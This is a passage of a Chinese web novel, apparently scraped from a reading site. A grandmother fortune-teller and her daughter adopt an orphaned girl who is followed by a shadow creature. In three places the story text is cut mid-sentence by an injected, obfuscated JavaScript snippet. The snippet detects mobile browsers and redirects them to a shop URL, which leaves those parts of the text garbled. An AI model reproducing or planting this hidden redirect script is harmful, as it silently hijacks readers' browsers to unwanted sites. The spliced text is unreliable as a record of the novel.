可是,连亲生的妈爸都没有这样对她,还有谁会这样对她好呢? 姜茜在陶翠莲希冀的目光中郑重点头,“奶奶,我会的,等我以后工作挣钱了,我来养陶善理。” 六年级的小朋友和六十岁的老太太定下约定。 不过,姜茜还有些疑虑,“可是,万一我姥姥姥爷或者爷爷奶奶,非要我过去怎么办?” “得了吧,我查了,你爸妈都有弟弟,还都娶了媳妇儿生了个儿子,他们可没闲工夫把你接回去,至于其余的手续和你应得的财产,得借你的岁弥一用了。” 姜茜不明所以,岁弥看着吓人,其实没什么攻击力,它能干什么?像吓唬她妈爸一样吓唬人呢?但其实只要认真接触就会发现,岁弥其实和她一样只是个小孩儿。 —— 陶善理大汗淋漓地帮赵老板搬完货,赵老板给她结了钱,“哎哟,小陶,你这个板寸,往那儿一站,就跟个混混一样——上次你老娘说你有大学文凭,怎么不去找个班儿上?来吃体力活的苦。” 陶善理摸了摸脑袋,“诶,老板啊,我要是有大学文凭,我还在这里给你搬货呢,你听我妈瞎说。还有,我这发型多酷啊。哪里像混混?老板,我走了。” “哈哈哈,帅帅帅。” 陶善理的五官优越,不知道是不是遗传了她的亲爹,剃了个板寸穿个牛仔潮得不像三十好几的人,像二十多。 正值正午,赵老板又送了她一瓶豆奶。 处理完之前答应好的搬货,陶善理忙不迭地开着面包车回了家,等她到家的时候,家里空无一人。陶翠莲不在,姜茜也不在,“鬼”岁弥也不在。 陶善理喊,“妈?” 没人应答。 —— 陶翠莲拎着一瓶茅台,背着布包——里面都是她占卜的玩意儿。 姜茜拉着她的手,有些紧张。陶翠莲说里面住着一位大人物,能解决她的领养问题。 这里的小区每一栋楼居然都有电梯,但是要刷卡,很高级,陶翠莲只知道地址,但没人下来接她,于是陶翠莲带着姜茜爬楼梯来到了十九楼的大人物门口。 楼层很高,陶翠莲一路上死死抱住茅台——这死东西老贵了。 “等会进去就跪下,记得不?”陶翠莲问她。 姜茜立刻点头。 陶翠莲给她解释,“里面是个局长,官儿可大了,让你留在我们家动动手指头的事儿。” 姜茜悄悄攥紧了陶翠莲的手。 陶翠莲哐哐哐敲了三下门,接着,一老一小忐忑地等待门内的人开门。 门开了,里面是一个个子中等的中年男人,戴着黑边框眼镜,他一瞧见陶翠莲,皱眉道,“老太太,你是不是走错了啊?” 陶翠莲明明拜托过局长的丈母娘求情,结果局长此时一句话一出,陶翠莲就知道局长是不想帮忙了。 姜茜谨记陶翠莲的叮嘱,噗通一声给人跪下了,“叔叔,叔叔,我要没书读了……”话还没说完,姜茜就哭起来了。 如果她真的回姥姥或者奶奶家,肯定要转学,他们不可能让她继续读这个私立学校的。 陶翠莲跟着一起跪,她也哭,“我苦命的孙女儿哦,高局长,我实在没办法才来找你的……”她一边哭一边把茅台往前递。 姜茜听见“孙女儿”哭得更大声了。 高局长连忙扶起两人,“哎哟,老大娘,你这是做什么,我们当官的,都是为人民服务。先进来说吧。” 在外面动静这么大被邻居听到了怎么办? 陶翠莲拉着姜茜走进去,两人只敢站在玄关处,无他,里面的家具布置实在看着太高档了,玄关处还有不少家居拖鞋,两人穿着室外鞋,可不敢走进去踩脏。 陶翠莲一把一鼻涕一把泪道,“高局长,我孙女儿……” 她还没说完,高局长就插话,“啊,我想起来了,你是陶翠莲陶女士吧?” 陶翠莲不明所以地点头,高局长刚刚不是还不记得了,怎么现在又挑明了她的身份? 高局长笑眯眯道,“我这边呢,接到了群众举报,说你你算卦骗人,卖什么……包生男孩儿的药——说起来,鄙人有幸,丈母娘买过你的药,生出来确实是个男孩儿,但我丈母娘说她花了九九九。陶女士,你这么些年靠这个行骗骗了不少钱吧?” 根本没人举报,但是匿名举报嘛,谁知道举报的人是谁? 陶翠莲冷汗都下来了,她就知道会有这么一劫,当即解释道,“高局长,首先,我可没收九九九,是九十九,其次呢,我算卦可不算骗人……” “陶女士,你再不走,我就要报警起诉你诈骗了,这些和警察说去吧。我呢,也就看在你年纪大了的份儿上,不和老年人计较,不管你为了什么而来,我不会帮忙的。”高局长冷淡道。 陶翠莲悄悄做了个手势,黑色的影子——岁弥从姜茜的身上慢慢蠕动地爬进她的布包。 “高局长,我可不算是骗人,不信,我现场给您露一手。” 高局长好整以暇看着这个穿着廉价的老女人——他并不信这些,但他瞟了一眼旁边的茅台,随意道,“行啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153943|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陶女士。” 陶翠莲带着姜茜走进客厅,拘谨地在沙发边缘坐下,拿出三枚骰子和骰子碗,老太太没拿什么易经,高局长还有些意外。 说起算卦,高局长第一反应就是街边的那些摆着什么易经的。 “高局长,我也不搞什么虚的了,我就从简吧,您看,这里有三枚骰子,您检查一下是否是简单的骰子。” 高局长被陶翠莲这故作玄虚的样子激起胜负欲,真的拿起来细细观察,还使劲儿捏了捏,确实只是普通的骰子。 “还有骰子碗,如果高局长有异议,也可以换成你们家的骰子和吃饭的碗就行。”陶翠莲道。 高局长嘴上说着不用,实际上死死盯着陶翠莲的动作,陶翠莲随便摇晃了几下,最后倒扣在茶几上,“高局长,您随便猜几个数字吧。” “六六六。”高局长随口道。 骰子碗掀开,还真是六六六。 高局长上半身不变,但翘起的二郎腿悄悄放下。 陶翠莲主动道,“高局长,再来几个?这个一次具有那个什么……偶然性是不是?” 高局长摸了摸鼻子道,“再来几次吧。” “二五三。” 骰子碗打开,还真是二五三。 “五六五。” 骰子碗打开,还真是五六五。 …… 陶翠莲没喊停,就这样,一连十次,每次都是陶翠莲摇骰子先停下,高局长再喊数字,每次都一样! 高局长学过数学,知道这样的概率简直比亿分之一还低!必定是有问题。 高局长抬手压了一下,陶翠莲停手,饱经沧桑的脸上满是从容不迫。 高局长起身进屋在屋里翻箱倒柜,最后把家里的麻将机里的骰子给抠出来了,接着又进屋拿了一个吃饭的白瓷碗。 他拿着这些出来,放在陶翠莲的面前,简短道,“再来。” 陶翠莲故意弯腰让自己的影子打在明亮洁白的茶几上。 岁弥混进陶翠莲的影子里趁机钻进碗里。 陶翠莲和之前一样随意摇骰子倒扣。 “六六六。”高局长没跷二郎腿,弯腰死死盯住白碗。 饭碗打开,还是六六六。 陶翠莲没停,接着摇,高局长声音发紧,“二三五。” 饭碗打开,是二三五。 接着就这样连续了六次,高局长终于摆手,“好了,不用来了,老大娘……不,神仙,你怎么做到的?” 陶翠莲讨好道,“这不是有点儿祖传的本事。” 高局长本身是个坚定的唯物主义,此时此刻,是真的有些恍惚了,“老大娘,那你卖给我丈母娘的药和符咒难道也是真的?” 陶翠莲咬牙承认,“没错!说实话了,要不是实在家中苦难,要养孩子,我也不会卖祖传的药方。” 其实那就是普通的维生素C,反正没用但也吃不死人,对面没真生出儿子来,她像承诺的那样全额退款就是了——反正维生素C不值几个钱。 卖的符咒也只是她的鬼画符。 但这个时候,怎么能当着苦主的面说都是假的? 高局长摆摆手,“行吧——老大娘,说实话,这个忙我不想帮的,但既然你都求到我丈母娘那里了,我就破例一次。” 陶翠莲按着姜茜的脑袋鞠躬。 姜茜很上道,“谢谢叔叔叔叔。” “你明天,找这个人,是我的秘书,把诉求告诉他就行。”高局长拿出名片递给陶翠莲。 陶翠莲千恩万谢地拿着走了,但当她收拾骰子和骰子碗时,高局长出声道,“诶,那个能不能给我留下做个纪念?” 不值钱的破玩意儿,陶翠莲笑着道,“高局长您喜欢,我就送您了。” 高局长摆手,“什么高局长,您和我丈母娘相熟,又比我年长,还是个能人异士,叫我小高就行。” 陶翠莲疯了才喊“小高”,她喊着“高局长”带着姜茜走了。这些手里有权力的最擅长这些长袖善舞的事儿了。 岁弥趁机悄悄溜回姜茜的身上。 陶翠莲走后,高局长拿起陶翠莲的骰子碗和骰子学陶翠莲的手法摇骰子,放下去,自言自语道,“六六六!” 打开骰子碗,二五三。 高局长不信邪,还是一样的结果。 此时,高局长的母父和妻子接了孩子到家,看着高局长在那里摇骰子,疑惑道,“你干嘛呢?” 高局长还在自言自语,“二五三!” 打开骰子碗,六六二。 奇了怪了,到底怎么回事儿?难不成那个老家伙还真有点儿真本事? 5. 怪物(5) 陶善理并不知道,自己的后半生被亲娘交付给了一个六年级小朋友。她此时打不通亲娘的电话,抖着腿等老妈回来给她解释。 人家小朋友的亲姥姥打电话过来了,想和姜茜说两句,虽然没提什么时候接她,但人家好歹是亲姥姥。陶善理也不敢真说出陶翠莲的算盘:你孙女儿很好,我们要了。 陶善理觉得人家不报警都算好的。 她以为陶翠莲就是一时兴起,但是她在家刷了会儿短视频后,陶翠莲带着姜茜回来了,陶翠莲见她在沙发上刷视频,气不打一处来,“没事儿干不会把家里打扫一下啊?” “妈!家里前两天打扫过了。” “那你昨天还吃饭了,今天就就不吃了?” 陶善理觉得没法儿和她妈沟通了,只好起身拿起扫把扫地。 陶翠莲又说,“大中午的,不做饭扫啥子地,没见着我和小茜刚回来吗?” 陶善理只好放下扫把去煮饭,陶翠莲打开给姜茜新买的洗漱用品、拖鞋、睡衣什么的,让姜茜试试。 陶善理装作不经意间问道,“妈,你们早上就买衣服去了啊?” 她放慢了切菜的速度,把放水的水龙头关了。 陶翠莲眼皮子都不抬一下,甩下一个惊天大雷,“哦,给小茜买了点儿。顺便还走走关系去了,地球不出爆炸这种意外的话,姜茜以后就在我们家生活了啊。” 陶善理没想到陶翠莲女士真是雷厉风行,她手里还拿着菜刀就冲出厨房,“妈!你疯了,你到年纪了,想抱孙子了也用不着抢别人家的吧?” 陶翠莲甩了个眼神给女儿,脸色耷拉下来了,“什么抢抢抢,一点儿话都不会说,人家不要的能叫抢吗?长个嘴话都不会说。” 姜茜不敢说话,她乖乖地坐在沙发上,岁弥蹭蹭她的手背。 陶善理不敢吭声了,她妈这次好像是动真格的了。翠莲素来讨厌找关系,她说求人的时候跟低人一等一样,结果这回找关系找得很迅速。 虽然葬礼上,姜茜妈爸两家的家人都不想要她,但陶善理觉得他们不可能就这么放手。首先,这个财产就是很重要的因素,拿了人家妈爸的财产,不养人家女儿,要被亲戚邻里蛐蛐死。 甭管后面怎么对姜茜,现在不要姜茜又要遗产,但凡要脸的都做不出来这事儿。 想到这里,陶善理又有些愁,她苦着脸做午饭,这个时候,她绝对不想看见的东西进了厨房——岁弥。 岁弥还是那般礼貌,“您好,请问有我需要帮忙的吗?” 陶善理悄悄后退一步道,“……你能碰水吗?” 岁弥点点触手。 “那……那麻烦你去洗个菜吧。” 岁弥去洗菜了,只见它将黑乎乎的触手伸进水池,清水立刻变黑了,然后它的黑色触手包裹住菠菜,像滚筒洗衣机一样旋转。 陶善理瞬间起了鸡皮疙瘩,她连忙阻止道,“那个,不用了,岁弥,你帮我去看着蒸米饭的锅吧?那个电饭煲的灯跳了你喊我就行。” 善变的人类,岁弥并没有谴责对方,而是乖巧地将菠菜放进篮子里。 等岁弥的触手从水池里抽出来时,水池里原本黑乎乎的水瞬间清澈了。 陶善理连忙跑出去问姜茜,这玩意儿有毒没啊? 姜茜摇头,“没毒的阿姨,岁弥有时候也会在家给我做饭,你可以放心交给它。” 什么?岁弥会做饭?陶善理无法抑制地想象了一下,以后姜茜和岁弥真的在自己家生活下来了。 那岂不是偶尔她可以把家务活交给岁弥? 等等,岁弥作为怪物愿意做家务吗? 似乎是看出了陶善理的想法,姜茜凑近小声道,“阿姨,家务活可以交给岁弥的,它喜欢做这些。” 陶善理恍惚地“哦哦哦”了几声,等她回厨房的时候,岁弥已经把菜切好了。 “我看您有事儿不在,便自作主张地做好了这些。” 陶善理忍不住对它说,“那你要不,再切个菜炒个菜?” 客厅里,一老一小窃窃私语。 “我就说吧,”陶翠莲低声道,“你让岁弥帮忙做两次家务,陶善理包希望你留下的。” 陶善理确实很讨厌做家务,她讨厌做饭的时候切肉——会一手油腻,讨厌洗碗——会一手油腻。 但是岁弥作为一只物种未知的怪物,可以说是它喜欢做这些。 陶善理看它蒸好香肠,然后切成片,没忍住过去用手指捻一片放进嘴里。 换做陶翠莲,早打她了,但岁弥还专门给了她一片最中间的香肠。 陶善理动摇了——反正妈都找好关系了,到时候留下姜茜和岁弥也不错? —— 姜茜姥拿着陶善理的名片发愁,自己外孙女儿在别人家,姥姥总觉得不好,姥爷倒是不着急,一大清早就出门散步了。 儿媳妇儿找到她,喋喋不休道,“妈啊,家里也不差小茜这口吃的,主要是小茜她……宋丽都说自己亲女儿邪门得很!年年都说,当亲妈的总不能空口说瞎话吧?” 姜茜姥迟疑道,“但是孩子现在在小丽她大学同学那儿,说出去也难听啊……而且小丽家留下不少东西,万一那个女的就是冲这些钱来的对小茜不好咋个办?” “那这样吧,让小茜奶奶家吧小茜接走,小丽留下的东西再怎么说也要给你这个当妈的留点,到时候和她奶奶家商量一下,我们两家人分一下,他们养小茜到时候就多拿点咋样?” 姜茜姥觉得儿媳妇这个法子不错,孩子给姜茜奶家养,大不了遗产多给他们分点。 所以姜茜姥给姜茜奶打去了电话。 那边接电话的慌慌张张的,“孩儿她姥啊,你晓得不,上回上回接走小茜的那个女的,是个坐过牢的杀人犯啊!” “啥子!”姜茜姥提高音量。 “我找人查了一下,”姜茜奶拍着胸脯道,“不查不晓得,一查哈一跳。亲家母,你跟亲家公商量一下。孩子放在……那个杀人犯那里也不合适,你们受累,尽快把孩子接过来,大不了我们娃子挣的钱多分给你们一些。” 这原本是姜茜姥的打算! 最后双方一致决定现在姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153944|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茜家的房子里和陶善理见一面,先看看孩子怎么样,安全与否。 陶翠莲吃完饭,锅碗瓢盆往水槽里一甩,带着陶善理和姜茜去老房子的时候,姜茜姥和奶还没达成一致,而双方的“一家之主”——家里年龄最大的男性门则是放任自己的妻子冲锋陷阵。两人还喝起茶来,说自家妻子让人见笑了,却绝口不提要把孩子接回家去这话。 现场一团糟。 姜茜静静地站在原地,她牵着陶翠莲,看着一群人在以前一家四口的房子里争论,要求对方必须带走她。 姜茜的姥姥说女儿嫁出去的女儿泼出去的水,这是他们姥姜家的种,姜茜的奶奶爷爷必须带走。 姜茜的奶奶则是说,姜茜是宋丽的孩子,姜茜的姥姥姥爷重男轻女,要儿子的孩子,不要女儿的孩子。 双方骂战一时之间僵持不下。 陶翠莲一进门就听见争吵,她拿起鞋拔子冲过去加入战场——双方的“一家之主”姜茜的爷爷和姥爷一人给了一鞋子。 俩老头儿被打蒙了。 “你们两个大老爷们儿,屁都放不出来一个,是哑了还是聋了?”陶老太太年过六旬,但战斗力惊人,“还有都甭争了,这孩子以后就跟我一起住了。” 两个老太太看着老头子被打了,一时之间都怔愣住了,正要和陶翠莲好好理论一番。陶善理一言不发地走过去,露出结实的肌肉、板寸和胳膊上大片大片的纹身。她往那一站就跟座铁塔一样。 “你个杀人犯!”姜茜姥爷喊,“我警告你,你别想动手,我们……我们背后是有人的。” “你要杀人吗?现在是法治社会,你敢杀人吗?” …… 陶善理的耳边一阵叽里呱啦,她不知道他们怎么查到自己坐过牢的消息,但是她露出标准的八颗牙齿微笑,“我当然不会杀人,但是各位家里人都是有正儿八经工作的,我回头找几个姐妹兄弟——都是牢里认识的家伙。他们不动手,去你们公司单位闹闹还是可以的。” “流氓!街边的不要脸的混混!”姜茜姥像看恶鬼一样看着她。 “你、你这……”姜茜爷爷指着陶善理气得发抖,姜茜奶奶赶紧拿出药给他吃上。 场面在陶善理的武力镇压下安静了下来,大家伙好歹能正常说话了,不再你未唱罢我登场了。 —— 姜茜环顾四周,周围的声音不经过她的允许就窜进耳朵和大脑,她看见了沙发上妈妈的几件防晒衣——应当是出去度假,妈妈拿出几件防晒衣细细选过后只拿走了一件。 茶几上的烟灰缸里有不少烟蒂——那是爸爸出门前抽烟后不收拾的结果,以往都是她收拾或者妈妈收拾。 当她上学,妈妈上班的时候,那个烟灰缸一个晚饭时间就能堆积许多。 弟弟的臭袜子在洗手间的盆子里堆着,他放在电视机旁的游戏机充电器不见了,应该是出门旅游一起带上了。 一般情况下,这就是要出去玩儿几天了。 但是没人告诉她。 姜茜感觉到眼眶有些发热,但还好,没掉眼泪。 6. 怪物(6) 最开始,是陶善理注意到姜茜的不对劲,姜茜的脚下影子以一种不可思议的速度扩散。 小小的人脚下的影子已经将所有人罩住了! 陶善理害怕被人看出不对劲,她着急地拉了拉她妈,陶翠莲正在舌战群儒,哪里管那么多七七八八,一巴掌把自己女儿的手拍掉。 下一秒,姜茜姥姥就尖叫起来,“啊啊啊啊有鬼啊啊!” 吊灯底下,所有人看不见自己的影子了,只有一团巨大的黑影,就像是它吞噬了他们的影子一般! 那团黑影还在蠕动! 陶翠莲直觉这是岁弥,她眼睁睁看着眼前四个老人全昏过去了——两家的年轻人都去上班了,说是参加完葬礼已经耽搁一天班了,可不能再耽搁了。 于是,来处理这件事儿的只有四个老人,他们哪里见过这场面,齐齐昏过去了。 陶翠莲知道老人家的脆弱,连忙喊陶善理打120。 陶善理哆哆嗦嗦地拿出手机打120,陶翠莲一把夺去她的手机,骂她,“那么大块头都是涨干饭的!给我。” 妈耶,四个老太老头躺你面前你不怕哦。 哦不对,你也是老太,确实不怕。陶善理欲哭无泪。 陶翠莲正要打过去,姜茜回过神,脚下的黑影缩回她的阴影大小,她伸手拦住陶翠莲的手机,“奶奶,不用了,他们没事——岁弥说的,心跳正常。” 事实上还有两个装昏的。 陶翠莲一听就咂摸过来了,她一把年纪了,只有她骗别人的,哪有别人骗她的,一趟120下来几千块钱,到时候她打电话,车子来了,谁付钱? 陶翠莲也不废话了,她冷声道,“这孩子我们养了,你们和我的律师谈这个吧。” “律师”? 姜茜奶奶慢悠悠“醒”了,实在不明白这事儿,“大妹子啊,刚刚有鬼你没看见吗?” “哪有?你们四个才是哈人,倒地不起是不是要讹人哦。”陶翠莲倒打一耙。 姜茜奶奶环顾四周——哪里还有什么恐怖的黑影。 姜茜姥听见大家在说话,生怕自己错过什么商议,她也“醒来了”,想叫醒自家老头儿,结果发现老头儿是真晕过去了。 最后,陶善理看着陶翠莲真的叫来一个律师——她以为陶翠莲口里的“律师”是拿来唬人的。 陶翠莲把姜茜甩给她,低声道,“看紧点。” 姜茜也有紧张,她知道自己差点儿坏事了,她有些自责,但她有些时候也控制不住岁弥,就像她总是控制不住自己的情绪一样。 姜茜有时候觉得,岁弥是她心底的阴影,当她难过或者愤怒的时候,岁弥会越来越大,就像她的情绪越来越强烈。 陶善理对老妈点头,她死死牵着姜茜的手,决定一旦岁弥变大,就带着姜茜跑到没人的角落,处理完再带人回来。 陶翠莲带来的律师似乎很有能量,最后,陶善理成了和宋丽有血缘关系的亲属——这当然是假的,但陶翠莲不知道哪儿找来的大权在握的人物,颠倒黑白。 陶善理觉得她们就像影视剧里欺负人的恶霸,对面是无权无势的小老百姓。 要是陶翠莲知道她在想什么,一定会骂她,“矫情,一年到头挣不到两个子儿,还想当起恶霸来了,又莫有钱,又莫得权,想屁吃。” 陶善理和姜茜搭话,“害怕吗?我坐过牢。” 姜茜摇头,“我更怕我没书读,再说了,阿姨,你怕我的岁弥吗?” 陶善理也摇头——好吧,她骗小孩儿的,她还是怕,但是作为大人,怎么能在小孩儿面前露怯。 姜茜能够感觉到陶善理手轻微的颤抖,她低下头想,没有人要她——原因很多,她道理都懂,但是道理千万,都不是她可以释怀的理由,她释怀不了。 没人要她,和她有血缘关系的人都不要她。 她找谁说理去? 她无数次安慰自己,他们不要她,因为她是个女孩儿,和她的道德、能力、性格都不沾边,而性别,周梓言小姨说它仅仅由爸爸的精子决定,你不是大人想要的性别,那是爸爸自己不争气,和她没关系。所以没什么,大家安慰她——但她还是难过。 每次一想到就难过。 人什么时候才能长到不会因为这些而难过的年纪呢? 陶善理阿姨一样三十多的年纪吗? 还是六七十岁和陶翠莲奶奶一样的年纪呢? 姜茜不知道,她才十三岁,每一年都格外漫长,几十年,是她无法想象的时间长度。就不能和动画片里一样,有一种药水,让她一瞬间长到很大很大,可以一个人住的年纪。 她这样想着想着,又有些难过了,陶善理把她抱在怀里,“别看陶翠莲是个老太太,她可有能耐了,是我见过最坚强不息的老太太,你等着吧,一切都会顺利的。” 姜茜最近晚上都没睡好,就这样,在这个可靠的怀抱里,她竟然睡着了。这回梦里不再是死去的妈妈、爸爸和弟弟,而是一个疑似长大后的她。 陶善理给她妈发消息,询问谈判得怎么样了。 陶翠莲秒回。 【几个老家咬定姜茜有鬼,抚养权不难要,就是遗产这块儿咬死了不肯多分。】 陶善理回她妈。 【别为了钱纠缠不清,实在不行,遗产全给他们了,我们要孩子就行了。有了岁弥帮忙,你还挣不到钱?】 她实在不想过多纠缠了,拿岁弥劝她妈别过多纠缠了。 【你懂啥,这钱又不是给你的,给人家小茜攒着,万一人家以后跟你一个样子不想结婚咋整,你还能啃我,人家小茜啃谁】 【啃你?你有个锤子给她啃,你不啃她就不错了】 陶善理不知道她妈在屋子里舌战群儒,怎么还有时间打字埋汰她的。 两条消息把陶善理批得体无完肤。 【人家就不能自己出息挣得多吗?】陶善理觉得她妈认为结婚了就能不工作的思维很有问题。 【万一跟你一样读个好大学出来,还找不到好工作咋个办?】 陶善理再次受到攻击,就不能别拿她说事儿了? 她一动作,姜茜有要醒的征兆,陶善理赶忙不动了。 一个小时后,陶善理终于等到了凯旋的陶翠莲。 “小茜,小茜,醒醒,吃晚饭了。”陶善理轻轻喊道。 “妈妈?”姜茜迷迷糊糊道,“吃炸鸡吗?” 传来两声很轻的笑声,姜茜才彻底清醒过来,她现在不在家,她脸色爆红,有些无措。 陶善理笑,“还没睡醒呢。” 陶翠莲也笑,“走,今晚上吃炸鸡,那两个老家伙终于舍得签字了,以后啊,小茜就是我们老陶家的娃儿了。” 姜茜连忙摆手,“没有没有,我吃什么都可以的,陶阿姨和奶奶吃什么我吃什么。” 陶翠莲捏了捏她的脸蛋,露出泛黄的牙齿,“叫什么奶奶,以后叫我姥姥了,旁边这位叫陶善理的无业游民,以后就是你妈了——后妈。当然你放心,不会有后爹的。” 陶善理自然而然蹲下身,陶翠莲把姜茜放在她的背上,“让你妈背你。” 姜茜想要下来,“不用了,不用了,我可以自己走的……” 陶翠莲把她按在陶善理的背上,“你妈这么大块头背起来可舒服了。” 陶善理还颠了颠她,乐呵呵道,“怎么这么轻,好好养养。” 这是姜茜第一次有人背,她第一反应不是幸福,而是感到惶恐:我会不会太重了?背着我走会不会很累?我会被嫌烦怎么办?万一陶善理只是嘴上说着没事儿其实心里觉得我很不客气?陶翠莲需要她给陶善理养老所以对她好,但是陶善理不知道这事儿,她为什么对我好? 她杂七杂八想了很多,陶翠莲问她怎么了,陶善理带她们去吃很火的那一家麦麦怎么样。 姜茜搓着手道,“陶妈……陶阿姨如果我太重了,你可以放我下来。”她还是叫不出来“妈妈”。 陶善理也觉得,突然好大一孩子叫自己“妈妈”有点儿吓人,她道,“你叫我陶阿姨或者陶善理都行。” “那你叫我一声姥姥试试。” 这一声“姥姥”可比“妈妈”容易多了,姜茜立刻道,“姥姥!” “诶!” 新开业的麦麦干净整洁,姜茜却坐立难安——会不会很贵? 陶善理怕姜茜不敢点餐,去柜台点了三份一样的套餐,理所当然地对她妈道,“妈,付钱,你不是说我啃你吗?” 陶翠莲瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153945|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她一眼,不过还是付了钱。 一整只炸鸡上来的时候,姜茜突然有点儿想落泪。 一只炸鸡,让她感觉到了一点儿抑制不住的高兴——但是,家人刚死的第三天,她这么高兴真的可以吗? 她觉得自己不是家里人口中饿死鬼投胎的馋鬼,但是在扑鼻的香气中,姜茜的泪水氤氲了双眼,从心底生起了一股不合时宜的快乐——她其实不喜欢吃炸鸡,因为她一次也没有吃过。 但是她的朋友们很喜欢吃,在班级里面炸鸡很火,姜茜插不进话,因为她没吃过。 朋友们和她说,“姜茜,下次我们一起去吃啊。” 姜茜也没法儿说好。 因为她也没有多余的零花钱。 但是,她竟然因为它的到来产生了快乐,她应该感到悲伤的,她怎么可以感到快乐?巨大的愧疚感涌了上来。 我是不是不应该来吃炸鸡?这样就不会感到快乐了,这不合时宜的快乐让人情不自禁地落泪。 讨厌的炸鸡。她不喜欢炸鸡了。 讨厌的自己。 陶善理和陶翠莲不解地面对姜茜的眼泪。 这,这孩子吃个炸鸡这么感动呢? 炸物意味着多油、多淀粉,一般不会让人讨厌的,除非长时间在这种情况下工作——反正陶善理大学的时候去炸鸡店兼职,兼职的那学期,她都讨厌多油的食物。 现在嘛,要不说人类的脑子是健忘的,反正陶善理已经能毫无心理障碍地开吃了。 所以她不能理解姜茜为什么哭,她下意识看向陶翠莲,陶翠莲也手足无措,她就养过陶善理一个小孩儿啊。 陶善理多好养啊,给口吃的,好养活,无师自通了打架。她听说陶善理被欺负的时候,陶善理已经把人揍得再也不敢来犯了,甚至陶善理自己都忘了这事儿。 还是陶善理的班主任给陶翠莲说,陶翠莲才知道。 这种感情细腻的小孩儿,到底该怎么养? 两人挤眉弄眼,陶翠莲又是给陶善理一巴掌,“陶善理,你还是不是当妈的了!快去哄!” 姜茜也意识到自己又哭了,她连忙擦擦眼泪,打着嗝儿道,“对不起……我没忍住,我不哭了,你们先吃吧,不用管我。好香呀,谢谢姥姥和陶……陶阿姨。” 姜茜还是叫不出“妈妈”两个字。 吃炸鸡的时候,陶善理注意到姜茜其实吃的不多,甚至吃到后面,姜茜明显吃饱了,进食的速度变慢了还在吃。 一开始,陶善理还以为她只是吃腻了,直到姜茜干呕了一下,最后明显反胃了,姜茜生生吞了下去,咕咚咕咚喝了口可乐。 陶善理连忙说,“吃不下就别吃了。” 姜茜疑惑道,“多浪费呀,而且这个好贵,都是钱。吃不完多浪费。我还能吃,就是刚刚吃撑了。”她又拿起一块鸡肉。 陶善理一时之间愣住了——这话姜茜的妈妈宋丽也说过。 大学聚餐吃自助,宋丽吃到吐,陶善理她们都说宋丽是不是疯了,吃不下了就算了。 宋丽说,“自助餐多贵呀,都是钱,我可是专门没吃早饭过来吃的,不吃回本多亏呀。” 那天晚上,宋丽胃疼到半夜也不吭声,最后实在扛不住了才喊醒她们问有没有健胃消食片。 她脸色发白,还在不断出汗,陶善理说还吃什么健胃消食片,立刻去医院啊! 舍友们立刻爬起来送她去医院,宋丽还在说,就是吃多了还看什么医生。 医生说,肠胃不好,下次就别吃这么多了,积食。 宋丽不停唠叨,她说就是吃多了,看什么医生,浪费钱。 吃多了在她看来不算是病。 陶善理强硬地制止姜茜继续吃饭的动作,“别吃了,吃不完就算了。” 她把那些东西直接扔进垃圾桶。 陶翠莲也连忙道,“就是就是乖乖啊,想吃我们下次来吃就行了。” 她小时候闹过饥荒,她知道饿狠了的的会在食物充足时报复性进食。 她以前也这样。 在两人的目光中,姜茜似乎意识到了自己做的不对,她局促难安。 陶翠莲立刻道,“都怪该死的炸鸡,味道做这么好,害我们乖乖都吃撑了。” 7. 怪物(7) 本该平和温良的傍晚,陶善理正在经历一场史无前例的挑战。 “妈!你好没!”陶善理疯狂敲门。 陶翠莲在厕所里稀里哗啦,大着个嗓门道,“晓得了晓得了!马上马上!” 陶善理捂着肚子,姜茜趴在沙发上有气无力,“姥……我快不行了……” 岁弥变成了一个马桶模样的东西,伸出触手戳了戳姜茜,姜茜虚弱地挥了挥手,“不了……岁弥……我……还要脸……” 她正在使出毕生的力气控制腹部。 陶善理则疯狂敲门,“妈妈!小茜快不行了!你搞快点,你好了没!” 陶翠莲本来都冲水提裤子了,“好了好了!我好了!” 陶善理长舒一口气。 然而不幸的是,陶翠莲站起来一瞬间,一股显而易见的东西直冲□□,她又迅速蹲下噼里啪吧。 一听这声音,味道一出,陶善理就知道老妈又拉了,“妈!” 陶翠莲痛苦地蹲下,“你俩区去外边的公厕吧!我不行了,我还得再蹲蹲……” 陶善理立刻带着姜茜冲出门外,姜茜哭丧着脸道,“陶阿姨,我跑不动。” 姜茜刚来,哪里知道公厕在哪里,陶善理当然不可能把她留下,她二话不说扛起姜茜就噔噔噔跑下楼,直奔小区外面的公厕! 万幸,今天公厕没人。 门口的阿姨伸手拦道,“公厕五毛钱。” 陶善理扛着姜茜犹如一道残影冲了进去,只留下余音,“王大婶,我等会给你!” 